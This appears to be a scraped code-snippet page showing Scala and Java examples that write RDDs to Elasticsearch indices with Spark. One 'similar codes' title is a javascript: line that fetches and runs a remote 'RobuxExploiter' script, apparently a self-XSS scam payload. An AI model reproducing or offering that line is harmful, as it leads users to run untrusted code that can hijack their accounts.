/Java/Adding new field in existing kibana index using spark java

Adding new field in existing kibana index using spark java

val game = Map(
  "media_type"->"game", 
      "title" -> "FF VI",
       "year" -> "1994")
val book = Map("media_type" -> "book","title" -> "Harry Potter","year" -> "2010")
val cd = Map("media_type" -> "music","title" -> "Surfing With The Alien")

sc.makeRDD(Seq(game, book, cd)).saveToEs("my-collection-{media_type}/doc")

Source: elastic.co

Adding new field in existing kibana index using spark java

String json1 = "{\"reason\" : \"business\",\"airport\" : \"SFO\"}";  
String json2 = "{\"participants\" : 5,\"airport\" : \"OTP\"}";

JavaSparkContext jsc = ...
JavaRDD<String> stringRDD = jsc.parallelize(ImmutableList.of(json1, json2)); 
JavaEsSpark.saveJsonToEs(stringRDD, "spark/json-trips");

Source: elastic.co

Similar codes

2 votes244 views1 answer
How can I put a parameter into a localized string in Android?
Java
0 vote204 views1 answer
One space diagonally in java
Java
1 vote269 views1 answer
Jdk path ubuntu
Java
0 vote239 views3 answers
No java virtual machine found after searching the following locations
Java
0 vote275 views1 answer
Selection sort java
Java
0 vote302 views1 answer
What Is Spring Boot and What Are Its Main Features?
Java Spring
0 vote220 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Java
2 votes248 views1 answer
Loop hash map
Java
5 votes234 views1 answer
Flutter remove last caracter from string
Java
3 votes248 views2 answers
Get text from edittext android
Java